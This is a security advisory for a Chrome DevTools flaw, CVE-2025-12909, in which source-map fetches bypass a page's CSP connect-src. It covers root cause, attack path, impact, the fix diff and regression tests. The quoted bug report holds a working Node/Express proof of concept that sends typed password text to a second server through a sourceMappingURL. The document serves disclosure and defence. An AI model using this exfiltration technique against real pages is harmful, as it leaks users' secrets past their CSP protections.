CVE-2025-12909
Overview
Background
- `Network.loadNetworkResource`
- a Chrome DevTools Protocol (CDP) command, handled in
content/browser/devtools/protocol/network_handler.cc, that the browser process uses to fetch a URL on behalf of a DevTools client “as” a given frame (the DevTools front-end uses it to fetch resources such as source maps). - Content Security Policy `connect-src`
- the CSP directive that limits which origins a document may contact via script-initiated connections; sites rely on it, among other things, to stop injected script from sending data to attacker servers.
- `RenderFrameHostCSPContext`
- a browser-side
network::CSPContextbound to aRenderFrameHostImpl, whoseIsAllowedByCsp()checks a URL against a list of content security policies for a givenCSPDirectiveName. - Source map
- a JSON file named by a
sourceMappingURLcomment in a script or stylesheet; DevTools fetches it automatically when it processes that script, so the URL is chosen by page content.
Root Cause Analysis
The frame branch of the Network.loadNetworkResource handler in network_handler.cc (the enclosing function name is not shown in the hunk) built a URL loader factory for the target frame via URLLoaderFactoryParamsHelper::CreateForFrame() and fetched the requested gurl without consulting the frame’s Content Security Policy. Because the URL is often taken from a page-controlled sourceMappingURL, this let page-chosen requests go out “on behalf of” a frame whose connect-src policy should have blocked them, which is the bypass the commit message describes (“source map requests bypass, potentially allowing data exfiltration”).
The fix tightens the path: before the factory is created, it builds a RenderFrameHostCSPContext for frame, calls IsAllowedByCsp() with the frame’s policy_container_host()->policies().content_security_policies, CSPDirectiveName::ConnectSrc, and CHECK_ENFORCED_CSP, and if the result is not allowed it immediately sends Response::ServerError("CSP violation") and returns, so no load is started. The non-frame (worker/other target) branch is not changed; the patch only adds a TODO(mkwst): Check CSP for non-frame targets. comment there, so that path is still unchecked after this commit.
connect-src policy. The fix applies the same connect-src decision the renderer would make, and refuses the request before any loader is created.Attack Path
- Page sets a restrictive CSP
The target site serves
connect-src 'self'(as in the regression test’spage-with-csp.php), expecting that injected script cannot reach other origins. - Attacker plants a source-map reference
Content the attacker can inject into that page (for example via a markup/script injection that CSP otherwise contains) carries a
sourceMappingURLpointing to an attacker origin, with data encoded in the URL (inferred). - User opens DevTools
The DevTools front-end processes the script and asks the browser to fetch the source map through
Network.loadNetworkResourcewith the page’sframeId. - Fetch bypasses `connect-src`
Before the patch the handler fetched the cross-origin URL anyway. The test’s cross-origin
https://localhost:8443/.../source.maprequest, which now fails withCSP violation, previously succeeded, so the encoded data reaches the attacker’s server (inferred).
Impact Assessment
connect-src, which can leak data the CSP was meant to contain. It does not by itself give code execution or cross-origin read access. Preconditions are significant: the victim must open DevTools on the affected page (or another CDP client must issue the command), and the attacker needs an injection point in a page whose CSP is the main barrier to exfiltration. No compromised renderer, flag, or special platform is needed. The vendor severity is low, and the supplied metadata does not report in-the-wild exploitation.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifcontent/browser/devtools/protocol/network_handler.cc |
modified |
Files Changed
content/browser/devtools/protocol/network_handler.ccthird_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txtthird_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.jsthird_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
Audit Directions
- Privileged fetches on behalf of a frameReview browser-side loaders that use a frame’s origin, isolation info, or factory params (DevTools, extensions, prefetch, favicon/manifest fetchers) to make sure they apply the frame’s CSP and other policies when page content picks the URL.
- Non-frame DevTools targetsFollow up on the
TODO(mkwst)path:Network.loadNetworkResourcefor workers and other targets that useCreateNetworkFactoryParamsForDevTools()still performs no CSP check after this patch. - Page-controlled URLs consumed by toolingAudit other DevTools front-end features that fetch URLs taken from page content (source maps,
sourceURL, stylesheet imports, DWARF/symbol files), and check which origin and credentials those fetches use.
Patch
From fe72006efbce74a7a7133287a6688cc4f4bec87b Mon Sep 17 00:00:00 2001 From: Danil Somsikov <[email protected]> Date: Fri, 04 Jul 2025 01:48:54 -0700 Subject: [PATCH] Implement `connect-src` check for `Network.loadNetworkResource` Without this check source map requests bypass, potentially allowing data exfiltration. Bug: 361116749 Change-Id: I3dcc3e089d4a228cc953c11d7155147bb5c2f6e0 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/6667844 Auto-Submit: Danil Somsikov <[email protected]> Commit-Queue: Danil Somsikov <[email protected]> Reviewed-by: Andrey Kosyakov <[email protected]> Cr-Commit-Position: refs/heads/main@{#1482495} --- diff --git a/content/browser/devtools/protocol/network_handler.cc b/content/browser/devtools/protocol/network_handler.cc index f0298c7..83676b5 100644 --- a/content/browser/devtools/protocol/network_handler.cc +++ b/content/browser/devtools/protocol/network_handler.cc @@ -47,6 +47,7 @@ #include "content/browser/loader/url_loader_factory_utils.h" #include "content/browser/renderer_host/frame_tree_node.h" #include "content/browser/renderer_host/navigation_request.h" +#include "content/browser/renderer_host/render_frame_host_csp_context.h" #include "content/browser/renderer_host/render_frame_host_impl.h" #include "content/browser/storage_partition_impl.h" #include "content/browser/url_loader_factory_params_helper.h" @@ -3620,6 +3621,19 @@ return; } + RenderFrameHostCSPContext csp_context(frame); + + network::CSPCheckResult result = csp_context.IsAllowedByCsp( + frame->policy_container_host()->policies().content_security_policies, + network::mojom::CSPDirectiveName::ConnectSrc, gurl, gurl, + /*has_followed_redirect=*/false, /*source_location=*/nullptr, + network::CSPContext::CHECK_ENFORCED_CSP, + /*is_form_submission=*/false); + if (!result.IsAllowed()) { + callback->sendFailure(Response::ServerError("CSP violation")); + return; + } + auto params = URLLoaderFactoryParamsHelper::CreateForFrame( frame, frame->GetLastCommittedOrigin(), frame->GetIsolationInfoForSubresources(), @@ -3651,6 +3665,7 @@ DevToolsAgentHostImpl::GetForId(host_id_); if (host) { // TODO(sigurds): Support dedicated workers. + // TODO(mkwst): Check CSP for non-frame targets. auto info = host->CreateNetworkFactoryParamsForDevTools(); auto factory = CreateNetworkFactoryForDevTools( gurl.scheme(), host->GetProcessHost(), MSG_ROUTING_NONE, info.origin, diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt new file mode 100644 index 0000000..55453f99 --- /dev/null +++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt @@ -0,0 +1,14 @@ +Tests for Network.loadNetworkResource with CSP +Response for fetch with cross-origin resource (should be blocked by CSP):{ + code : -32000 + message : CSP violation +} +Response for fetch with same-origin resource (should be allowed by CSP):{ + resource : { + headers : <object> + httpStatusCode : 200 + stream : 1 + success : true + } +} + diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js new file mode 100644 index 0000000..1fc7c8e0 --- /dev/null +++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js @@ -0,0 +1,31 @@ +(async function(/** @type {import('test_runner').TestRunner} */ testRunner) { + const {page, session, dp} = await testRunner.startURL( + `http://127.0.0.1:8000/inspector-protocol/network/resources/page-with-csp.php?csp=connect-src%20'self'`, + `Tests for Network.loadNetworkResource with CSP`); + + const {result: {frameTree}} = await dp.Page.getFrameTree(); + const frameId = frameTree.frame.id; + + async function loadResource(url, explanation) { + const response = await dp.Network.loadNetworkResource({ + frameId, + url, + options: {disableCache: false, includeCredentials: false} + }); + testRunner.log(response.error ?? response.result, explanation, ['headers']); + } + + const crossOriginUrl = + `https://localhost:8443/inspector-protocol/network/resources/source.map`; + await loadResource( + crossOriginUrl, + `Response for fetch with cross-origin resource (should be blocked by CSP):`); + + const sameOriginUrl = + `http://127.0.0.1:8000/inspector-protocol/network/resources/source.map`; + await loadResource( + sameOriginUrl, + `Response for fetch with same-origin resource (should be allowed by CSP):`); + + testRunner.completeTest(); +}) diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php new file mode 100644 index 0000000..8b7cc59 --- /dev/null +++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php @@ -0,0 +1,14 @@ +<?php +$csp = $_GET['csp']; +header("content-security-policy: $csp"); +?> + +<!DOCTYPE html> +<html lang="en"> + <head> + <meta charset="utf-8"> + <title>Page with restrictive CSP</title> + </head> + <body> + </body> +</html>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
new file mode 100644
index 0000000..55453f99
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
@@ -0,0 +1,14 @@
+Tests for Network.loadNetworkResource with CSP
+Response for fetch with cross-origin resource (should be blocked by CSP):{
+ code : -32000
+ message : CSP violation
+}
+Response for fetch with same-origin resource (should be allowed by CSP):{
+ resource : {
+ headers : <object>
+ httpStatusCode : 200
+ stream : 1
+ success : true
+ }
+}
+
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
new file mode 100644
index 0000000..1fc7c8e0
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
@@ -0,0 +1,31 @@
+(async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
+ const {page, session, dp} = await testRunner.startURL(
+ `http://127.0.0.1:8000/inspector-protocol/network/resources/page-with-csp.php?csp=connect-src%20'self'`,
+ `Tests for Network.loadNetworkResource with CSP`);
+
+ const {result: {frameTree}} = await dp.Page.getFrameTree();
+ const frameId = frameTree.frame.id;
+
+ async function loadResource(url, explanation) {
+ const response = await dp.Network.loadNetworkResource({
+ frameId,
+ url,
+ options: {disableCache: false, includeCredentials: false}
+ });
+ testRunner.log(response.error ?? response.result, explanation, ['headers']);
+ }
+
+ const crossOriginUrl =
+ `https://localhost:8443/inspector-protocol/network/resources/source.map`;
+ await loadResource(
+ crossOriginUrl,
+ `Response for fetch with cross-origin resource (should be blocked by CSP):`);
+
+ const sameOriginUrl =
+ `http://127.0.0.1:8000/inspector-protocol/network/resources/source.map`;
+ await loadResource(
+ sameOriginUrl,
+ `Response for fetch with same-origin resource (should be allowed by CSP):`);
+
+ testRunner.completeTest();
+})
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
new file mode 100644
index 0000000..8b7cc59
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
@@ -0,0 +1,14 @@
+<?php
+$csp = $_GET['csp'];
+header("content-security-policy: $csp");
+?>
+
+<!DOCTYPE html>
+<html lang="en">
+ <head>
+ <meta charset="utf-8">
+ <title>Page with restrictive CSP</title>
+ </head>
+ <body>
+ </body>
+</html>
Original Bug Report
CSP doesn't block sourceMappingURL
VULNERABILITY DETAILS
The vulnerability allows source maps from unauthorized domains to be loaded despite Content Security Policy restrictions, potentially exposing sensitive information.
VERSION
- Chrome Version: 127.0.6533.99 (Official Build) snap (64-bit) stable
- Operating System: Ubuntu 24.04 LTS (Codename: noble)
REPRODUCTION CASE
- tested on node (20.16.0) npm (10.8.1) and express (4.19.2)
- save the code below as
server.js - execute node server.js
- go to
http://localhost:3007/ - enter a secret phrase to the password field
- open the devtool
expected behavior:
The browser should not make any cross-origin requests. The source map should not be loaded, and an error message should appear in the console.
actual behavior:
The browser transmit the secret passphrase to a third party once the developers tool is opened.
import express from 'express'
const app = express()
const app2 = express()
app.get('/', (req, res) => {
console.log('index requested')
res.send(`
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline';connect-src 'self';">
<input type="password" onkeyup="f(this.value)"/>
<script>
function f(val) {
document.getElementsByTagName('style')[0].innerHTML = \`
/*# sourceMappingURL=http://localhost:3008/styles.css.map/\${val} */
\`
}
</script>
<style></style>
`)
})
app2.get('/styles.css.map/:id', (req, res) => {
console.log(req.params.id, 'requested')
res.send(``)
})
app.listen(3007, () => console.log('Server is running on port 3007'))
app2.listen(3008, () => console.log('Server is running on port 3008'))
CREDIT INFORMATION
Reporter credit: Noam Gaash